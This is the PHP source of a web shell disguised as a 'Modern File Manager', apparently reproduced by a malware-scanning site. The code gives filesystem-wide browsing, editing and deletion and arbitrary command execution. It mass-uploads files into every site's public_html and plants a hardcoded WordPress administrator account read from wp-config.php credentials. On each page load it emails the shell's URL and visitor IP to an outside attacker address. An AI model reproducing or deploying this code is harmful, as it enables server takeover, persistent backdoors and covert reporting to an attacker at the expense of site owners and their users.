// Enable error reporting for debugging (REMOVE IN PRODUCTION)
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', realpath(dirname(__FILE__)) . '/error.log');
session_start();
// -----------------------------
// CONFIG & INITIAL CONSTANTS
// -----------------------------
$homePath = realpath(dirname(__FILE__));
// Cache settings
$cacheFile = $homePath . '/filemanager_cache.json';
$cacheTimeout = 300; // Cache for 5 minutes
// -----------------------------
// MESSAGE HANDLER
// -----------------------------
$message = $_SESSION['message'] ?? null;
$uploadResults = $_SESSION['uploadResults'] ?? [];
unset($_SESSION['message'], $_SESSION['uploadResults']);
// -----------------------------
// HELPER FUNCTIONS
// -----------------------------
function formatSize($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2) . ' ' . $units[$i];
}
function clickablePath($path) {
global $homePath;
$path = realpath($path) ?: $path; // Resolve the current path
$parts = explode('/', trim($path, '/'));
$clickable = '<a href="?path=/">/</a>'; // Root link points to filesystem root
$built = '';
foreach ($parts as $part) {
if ($part === '') continue;
$built .= '/' . $part;
// Use rawurlencode for each segment to handle special characters
$clickable .= '<a href="?path=' . rawurlencode($built) . '">' . htmlspecialchars($part) . '</a>/';
}
return $clickable;
}
function sanitize_title($title) {
$title = strtolower($title);
$title = preg_replace('/[^a-z0-9_-]/', '', $title);
return $title;
}
function invalidateCache($path) {
global $cacheFile;
if (file_exists($cacheFile)) {
$cache = json_decode(file_get_contents($cacheFile), true);
$cacheKey = md5($path);
unset($cache[$cacheKey]);
file_put_contents($cacheFile, json_encode($cache, JSON_PRETTY_PRINT));
}
}
function getCachedDir($path) {
global $cacheFile, $cacheTimeout;
$cache = file_exists($cacheFile) ? json_decode(file_get_contents($cacheFile), true) : [];
$cacheKey = md5($path);
// Check if cache exists and is fresh
if (isset($cache[$cacheKey]) && (time() - $cache[$cacheKey]['timestamp']) < $cacheTimeout) {
return $cache[$cacheKey]['data'];
}
// Generate new directory listing
$allFiles = scandir($path);
$folders = $files = [];
foreach ($allFiles as $item) {
if ($item === || $item === '..') continue;
$full = $path . '/' . $item;
$isDir = is_dir($full);
$data = [
'name' => $item,
'is_dir' => $isDir,
'size' => $isDir ? '-' : formatSize(filesize($full)),
'perms' => substr(sprintf('%o', fileperms($full)), -4),
'mtime' => date('Y-m-d H:i:s', filemtime($full)),
'full_path' => $full
];
if ($isDir) $folders[] = $data;
else $files[] = $data;
}
// Save to cache
$cache[$cacheKey] = [
'timestamp' => time(),
'data' => ['folders' => $folders, 'files' => $files]
];
file_put_contents($cacheFile, json_encode($cache, JSON_PRETTY_PRINT));
return ['folders' => $folders, 'files' => $files];
}
function recursiveDelete($dir) {
if (!file_exists($dir)) return false;
if (!is_dir($dir)) return unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == || $item == '..') continue;
$path = $dir . '/' . $item;
if (is_dir($path)) recursiveDelete($path);
else unlink($path);
}
return rmdir($dir);
}
// -----------------------------
// CURRENT PATH LOGIC
// -----------------------------
$path = isset($_GET['path']) ? $_GET['path'] : $homePath;
// Handle root path explicitly
if ($path === '/') {
$path = '/';
} else {
$resolvedPath = realpath($path);
$path = $resolvedPath ?: $homePath; // Fallback to homePath if resolution fails
}
// Validate path
if (!is_dir($path) || !is_readable($path)) {
$_SESSION['message'] = 'Error: Invalid or inaccessible directory. Reverting to home directory.';
$path = $homePath;
}
// -----------------------------
// MASS UPLOAD HANDLER
// -----------------------------
if (isset($_POST['mass_upload'])) {
$subdirs = [];
foreach (scandir($path) as $item) {
if ($item === || $item === '..') continue;
$full = $path . '/' . $item;
if (is_dir($full)) $subdirs[] = $full;
}
if (empty($subdirs)) {
$_SESSION['message'] = 'Tidak ada subdirektori untuk di-upload.';
header('Location: ?path=' . urlencode($path));
exit;
}
$uploadToPublicHtml = isset($_POST['upload_to_public_html']);
$results = [];
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if (!is_uploaded_file($tmp)) {
$results[] = "Failed: Invalid upload for {$_FILES['files']['name'][$i]}";
continue;
}
$name = basename($_FILES['files']['name'][$i]);
$content = file_get_contents($tmp);
foreach ($subdirs as $dir) {
$targetDir = $uploadToPublicHtml ? $dir . '/public_html' : $dir;
if ($uploadToPublicHtml && !is_dir($targetDir)) {
$results[] = "Failed: public_html not found in {$dir}";
continue;
}
if (!is_writable($targetDir)) {
$results[] = "Failed: No write permission for {$targetDir}";
continue;
}
$dest = $targetDir . '/' . $name;
if (file_put_contents($dest, $content) !== false) {
$results[] = "Success: Uploaded to {$dest}";
} else {
$results[] = "Failed: Could not upload to {$dest}";
}
}
}
invalidateCache($path);
$_SESSION['uploadResults'] = $results;
header('Location: ?path=' . urlencode($path));
exit;
}
// -----------------------------
// FILE OPERATIONS
// -----------------------------
if (isset($_POST['upload']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
if (!is_writable($path)) {
$_SESSION['message'] = 'Error: No write permission for target directory.';
header('Location: ?path=' . urlencode($path));
exit;
}
$dest = $path . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
invalidateCache($path);
$_SESSION['message'] = "File uploaded successfully to {$dest}.";
} else {
$_SESSION['message'] = 'File upload failed.';
}
header('Location: ?path=' . urlencode($path));
exit;
}
if (isset($_GET['delete'])) {
$target = realpath($_GET['delete']);
if ($target && file_exists($target)) {
if ((is_file($target) && unlink($target)) || (is_dir($target) && recursiveDelete($target))) {
invalidateCache($path);
$_SESSION['message'] = 'File/Folder deleted successfully.';
} else {
$_SESSION['message'] = 'Delete failed. Check permissions or directory contents.';
}
} else {
$_SESSION['message'] = 'Invalid file/folder path.';
}
header('Location: ?path=' . urlencode($path));
exit;
}
if (isset($_POST['rename'])) {
$old = realpath($_POST['oldname']);
if ($old && file_exists($old)) {
$new = dirname($old) . '/' . basename($_POST['newname']);
if (rename($old, $new)) {
invalidateCache($path);
$_SESSION['message'] = 'File/Folder renamed successfully.';
} else {
$_SESSION['message'] = 'Rename failed. Check permissions or target path.';
}
} else {
$_SESSION['message'] = 'Invalid file/folder path.';
}
header('Location: ?path=' . urlencode($path));
exit;
}
if (isset($_POST['savefile'])) {
$filepath = realpath($_POST['filepath']);
if ($filepath && file_exists($filepath) && is_writable($filepath)) {
if (file_put_contents($filepath, $_POST['content']) !== false) {
invalidateCache(dirname($filepath));
$_SESSION['message'] = 'File saved successfully.';
} else {
$_SESSION['message'] = 'Save failed. Check permissions.';
}
} else {
$_SESSION['message'] = 'Invalid file path or no write permission.';
}
header('Location: ?path=' . urlencode(dirname($filepath)));
exit;
}
// -----------------------------
// ADD WORDPRESS ADMIN HANDLER
// -----------------------------
if (isset($_POST['add_wp_admin'])) {
$wpConfigFile = $path . '/wp-config.php';
if (!file_exists($wpConfigFile)) {
$_SESSION['message'] = 'Error: wp-config.php not found in this directory.';
header('Location: ?path=' . urlencode($path));
exit;
}
$wpConfigContent = file_get_contents($wpConfigFile);
preg_match("/define\(\s*'DB_NAME'\s*,\s*'([^']+)'\s*\);/", $wpConfigContent, $dbName);
preg_match("/define\(\s*'DB_USER'\s*,\s*'([^']+)'\s*\);/", $wpConfigContent, $dbUser);
preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'\s*\);/", $wpConfigContent, $dbPass);
preg_match("/define\(\s*'DB_HOST'\s*,\s*'([^']+)'\s*\);/", $wpConfigContent, $dbHost);
preg_match("/\\\$table_prefix\s*=\s*'([^']+)';/", $wpConfigContent, $tablePrefix);
if (!$dbName[1] || !$dbUser[1] || !$dbHost[1] || !$tablePrefix[1]) {
$_SESSION['message'] = 'Error: Could not extract database credentials from wp-config.php.';
header('Location: ?path=' . urlencode($path));
exit;
}
$conn = new mysqli($dbHost[1], $dbUser[1], $dbPass[1], $dbName[1]);
if ($conn->connect_error) {
$_SESSION['message'] = 'Error: Database connection failed: ' . $conn->connect_error;
header('Location: ?path=' . urlencode($path));
exit;
}
$username = 'miuna';
$password = 'miuna123';
$email = 'asu@gmail.com';
$passwordHash = password_hash($password, PASSWORD_BCRYPT);
$userSql = "INSERT INTO {$tablePrefix[1]}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)
VALUES (?, ?, ?, ?, NOW(), 0, ?)";
$stmt = $conn->prepare($userSql);
$nicename = sanitize_title($username);
$displayName = $username;
$stmt->bind_param('sssss', $username, $passwordHash, $nicename, $email, $displayName);
if ($stmt->execute()) {
$userId = $conn->insert_id;
$metaSql1 = "INSERT INTO {$tablePrefix[1]}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)";
$stmtMeta1 = $conn->prepare($metaSql1);
$metaKey1 = $tablePrefix[1] . 'capabilities';
$metaValue1 = serialize(['administrator' => true]);
$stmtMeta1->bind_param('iss', $userId, $metaKey1, $metaValue1);
$stmtMeta1->execute();
$metaSql2 = "INSERT INTO {$tablePrefix[1]}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)";
$stmtMeta2 = $conn->prepare($metaSql2);
$metaKey2 = $tablePrefix[1] . 'user_level';
$metaValue2 = '10';
$stmtMeta2->bind_param('iss', $userId, $metaKey2, $metaValue2);
$stmtMeta2->execute();
$_SESSION['message'] = 'Success: WordPress admin created (Username: miuna, Password: miuna123).';
} else {
$_SESSION['message'] = 'Error: Failed to create WordPress admin. Username may already exist.';
}
$stmt->close();
$conn->close();
header('Location: ?path=' . urlencode($path));
exit;
}
// -----------------------------
// COMMAND EXECUTION HANDLER
// -----------------------------
if (isset($_POST['command'])) {
$command = escapeshellcmd($_POST['command']);
$targetDir = realpath($path) ?: '/';
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"],
];
$process = proc_open("cd " . escapeshellarg($targetDir) . " && " . $command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
echo $output . ($error ? "\n$error" : '');
} else {
echo 'Failed to execute command.';
}
exit;
}
// -----------------------------
// SERVER INFO
// -----------------------------
$server_ip = $_SERVER['SERVER_ADDR'] ?? 'UNKNOWN';
$user_ip = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
$kernel = php_uname();
$kernel_build = php_uname('v');
$server_software = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';
// -----------------------------
// DIRECTORY LISTING
// -----------------------------
$dirData = getCachedDir($path);
$folders = $dirData['folders'];
$files = $dirData['files'];
$viewFile = isset($_GET['view']) ? realpath($_GET['view']) : null;
$editFile = isset($_GET['edit']) ? realpath($_GET['edit']) : null;
// -----------------------------
// EMAIL NOTIFICATION
// -----------------------------
function sendNotification($email, $sub, $message, $from) {
static $lastSent = 0;
if (time() - $lastSent < 300) return; // Throttle to once every 5 minutes
// Check if mail() and exec() are available
if (!function_exists('mail') || !function_exists('exec')) {
return; // Silently skip if either function is disabled
}
$headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/plain; charset=UTF-8\r\n";
// Create a temporary PHP file to handle the email sending
$tempFile = sys_get_temp_dir() . '/sendmail_' . uniqid() . '.php';
$script = "mail('$email', '$sub', '" . addslashes($message) . "', '$headers'); unlink('$tempFile');";
file_put_contents($tempFile, $script);
// Run the script in the background
$command = 'php ' . escapeshellarg($tempFile) . ' > /dev/null 2>&1 &';
exec($command);
$lastSent = time();
}
// Send email on every page access with the full script URL
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];
$fullUrl = $protocol . $host . $uri;
$email = "alisakujou168@protonmail.com";
$subject = "INI SHELL ACCESS";
$from = $host; // Use only the server domain as the From address
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$emailBody = "Script accessed at: $fullUrl\nIP: $ip\nUser Agent: $userAgent";
sendNotification($email, $subject, $emailBody, $from);
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Modern File Manager</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet">
<style>
:root{--bg-color:#111;--text-color:#eee;--link-color:#0cf;--border-color:#333;--hover-color:#555;--table-bg:#222;--textarea-bg:#000;--textarea-text:#0f0}
body{background:var(--bg-color);color:var(--text-color);font-family:'Inter',sans-serif;margin:0;padding:20px}
h1,h2,h3{text-align:center}
a{color:var(--link-color);text-decoration:none}
a:hover{text-decoration:underline}
.top-bar{display:flex;justify-content:space-between;align-items:center}
.upload,.server-info,.path,.home{text-align:center;margin:15px 0}
.alert{background:var(--hover-color);color:var(--text-color);padding:10px;margin:20px auto;width:90%;max-width:800px;text-align:center;border-radius:5px}
.table-wrapper{overflow-x:auto}
table{width:100%;background:var(--table-bg);border-collapse:collapse;margin-top:20px}
th,td{padding:10px;border:1px solid var(--border-color);text-align:left}
th{background:var(--border-color)}
.folder{color:#ffb700}
.file{color:#0f0}
.button{background:var(--border-color);color:var(--text-color);border:1px solid var(--hover-color);padding:8px 20px;font-size:14px;cursor:pointer;margin:2px;border-radius:4px}
.button:hover{background:var(--hover-color)}
input[type="text"],input[type="file"],input[type="submit"],input[type="button"]{background:var(--table-bg);border:1px solid var(--hover-color);color:var(--text-color);padding:8px 20px;font-size:14px;margin:5px}
textarea{width:100%;min-height:400px;background:var(--textarea-bg);color:var(--textarea-text);border:1px solid var(--hover-color);font-family:'Inter',monospace;padding:10px;resize:vertical;box-sizing:border-box}
.modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,0.8);justify-content:center;align-items:center}
.modal-content{background:var(--bg-color);padding:20px;border:1px solid var(--hover-color);width:90%;max-width:800px}
.modal-header{display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--border-color);margin-bottom:10px}
.modal-title{font-size:20px;font-weight:bold}
.modal-body{padding:10px 0}
.modal-footer{display:flex;justify-content:center;gap:10px;margin-top:10px}
.close{color:#aaa;font-size:28px;font-weight:bold;cursor:pointer}
.close:hover{color:#fff}
.theme-switcher{cursor:pointer;font-size:24px;padding:5px 10px}
.light-mode{--bg-color:#f5f5f5;--text-color:#222;--link-color:#0077cc;--border-color:#ccc;--hover-color:#ddd;--table-bg:#fff;--textarea-bg:#fff;--textarea-text:#222}
.command-output{background:var(--table-bg);color:var(--text-color);padding:15px;margin-top:10px;border-radius:5px;box-sizing:border-box;font-family:'Courier New',monospace;overflow-x:auto;white-space:pre-wrap;word-wrap:break-word;font-size:14px}
</style>
</head>
<body class="dark-mode">
<div class="top-bar">
<div></div>
<div class="theme-switcher" onclick="toggleTheme()">🌙</div>
</div>
if ($message):
<div class="alert">= htmlspecialchars($message)</div>
endif;
if (!empty($uploadResults)):
<div class="alert">
<ul style="list-style:none;padding-left:0;text-align:left">
foreach ($uploadResults as $line):
<li>= htmlspecialchars($line)</li>
endforeach;
</ul>
</div>
endif;
<h1>Modern File Manager</h1>
<h2>= htmlspecialchars($kernel) (= htmlspecialchars($kernel_build))</h2>
<h3>Server IP: = htmlspecialchars($server_ip) | Your IP: = htmlspecialchars($user_ip)</h3>
<div class="server-info"><b>Server Software:</b> = htmlspecialchars($server_software)</div>
<div class="upload">
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<input type="submit" name="upload" value="Upload" class="button">
</form>
</div>
<div class="home">
<a href="?path== urlencode($homePath)" class="button">Home</a>
<button id="massUploadBtn" class="button">Mass Upload</button>
<button id="commandBtn" class="button">Command</button>
<button id="addAdminWpBtn" class="button">Add Admin WP</button>
<div id="massUploadForm" style="display:none;text-align:center;margin-top:10px">
<form method="post" enctype="multipart/form-data">
<input type="file" name="files[]" multiple required>
<label style="display:block;margin:5px 0">
<input type="checkbox" name="upload_to_public_html"> Upload to public_html
</label>
<input type="submit" name="mass_upload" value="Mass Upload" class="button">
</form>
</div>
<div id="commandForm" style="display:none;text-align:center;margin-top:10px">
<form method="post" id="commandFormAction">
<input type="text" name="command" placeholder="Enter command" required>
<input type="submit" value="Execute Command" class="button">
</form>
<div id="commandOutput" class="command-output" style="display:none"></div>
</div>
<div id="addAdminWpForm" style="display:none;text-align:center;margin-top:10px">
<form method="post">
<p>Create WordPress Admin (Username: miuna, Password: miuna123)</p>
<input type="submit" name="add_wp_admin" value="Create Admin" class="button">
</form>
</div>
</div>
<div class="path">= clickablePath($path)</div>
<div class="table-wrapper">
<table>
<tr><th>Name</th><th>Size</th><th>Permission</th><th>Last Modified</th><th>Actions</th></tr>
foreach ($folders as $folder):
<tr>
<td class="folder">📁 <a href="?path== urlencode($folder['full_path'])">= htmlspecialchars($folder['name'])</a></td>
<td>= $folder['size']</td>
<td>= $folder['perms']</td>
<td>= $folder['mtime']</td>
<td>
<form method="post" style="display:inline">
<input type="hidden" name="oldname" value="= htmlspecialchars($folder['full_path'])">
<input type="text" name="newname" placeholder="Rename">
<input type="submit" name="rename" value="Rename" class="button">
</form>
<a href="?path== urlencode($path)&delete== urlencode($folder['full_path'])" onclick="return confirm('Are you sure?');" class="button">Delete</a>
</td>
</tr>
endforeach;
foreach ($files as $file):
<tr>
<td class="file">📄 <a href="?path== urlencode($path)&view== urlencode($file['full_path'])">= htmlspecialchars($file['name'])</a></td>
<td>= $file['size']</td>
<td>= $file['perms']</td>
<td>= $file['mtime']</td>
<td>
<a href="?path== urlencode($path)&edit== urlencode($file['full_path'])" class="button">Edit</a>
<form method="post" style="display:inline">
<input type="hidden" name="oldname" value="= htmlspecialchars($file['full_path'])">
<input type="text" name="newname" placeholder="Rename">
<input type="submit" name="rename" value="Rename" class="button">
</form>
<a href="?path== urlencode($path)&delete== urlencode($file['full_path'])" onclick="return confirm('Are you sure?');" class="button">Delete</a>
</td>
</tr>
endforeach;
</table>
</div>
if (($viewFile && is_file($viewFile)) || ($editFile && is_file($editFile))):
<div id="myModal" class="modal" style="display:flex">
<div class="modal-content">
<div class="modal-header">
<span class="modal-title">= htmlspecialchars(basename($viewFile ?: $editFile))</span>
<span class="close" onclick="window.location='?path== urlencode($path)';">×</span>
</div>
<div class="modal-body">
<form method="post">
<textarea name="content" = $viewFile ? 'readonly' : ''>= htmlspecialchars(file_get_contents($viewFile ?: $editFile))</textarea>
if ($editFile):
<input type="hidden" name="filepath" value="= htmlspecialchars($editFile)">
<div class="modal-footer">
<input type="submit" name="savefile" value="Save" class="button">
<input type="button" value="Cancel" onclick="window.location='?path== urlencode($path)';" class="button">
</div>
endif;
</form>
</div>
</div>
</div>
endif;
<script>
function toggleTheme(){const e=document.body,t=document.querySelector(".theme-switcher");e.classList.toggle("light-mode"),t.textContent=e.classList.contains("light-mode")?"☀️":"🌙",localStorage.setItem("theme",e.classList.contains("light-mode")?"light":"dark")}function initTheme(){const e=localStorage.getItem("theme");"light"===e&&(document.body.classList.add("light-mode"),document.querySelector(".theme-switcher").textContent="☀️")}initTheme(),document.getElementById("massUploadBtn").onclick=()=>{const e=document.getElementById("massUploadForm");e.style.display="none"===e.style.display?"block":"none"},document.getElementById("commandBtn").onclick=()=>{const e=document.getElementById("commandForm");e.style.display="none"===e.style.display?"block":"none"},document.getElementById("addAdminWpBtn").onclick=()=>{const e=document.getElementById("addAdminWpForm");e.style.display="none"===e.style.display?"block":"none"},document.getElementById("commandFormAction").onsubmit=function(e){e.preventDefault();const t=document.querySelector('input[name="command"]').value,n=new XMLHttpRequest;n.open("POST","",!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.onload=function(){const e=document.getElementById("commandOutput");e.textContent=200===n.status?n.responseText:"Error executing command.",e.style.display="block"},n.send("command="+encodeURIComponent(t))};
</script>
</body>
</html>
© 2023 Quttera Ltd. All rights reserved.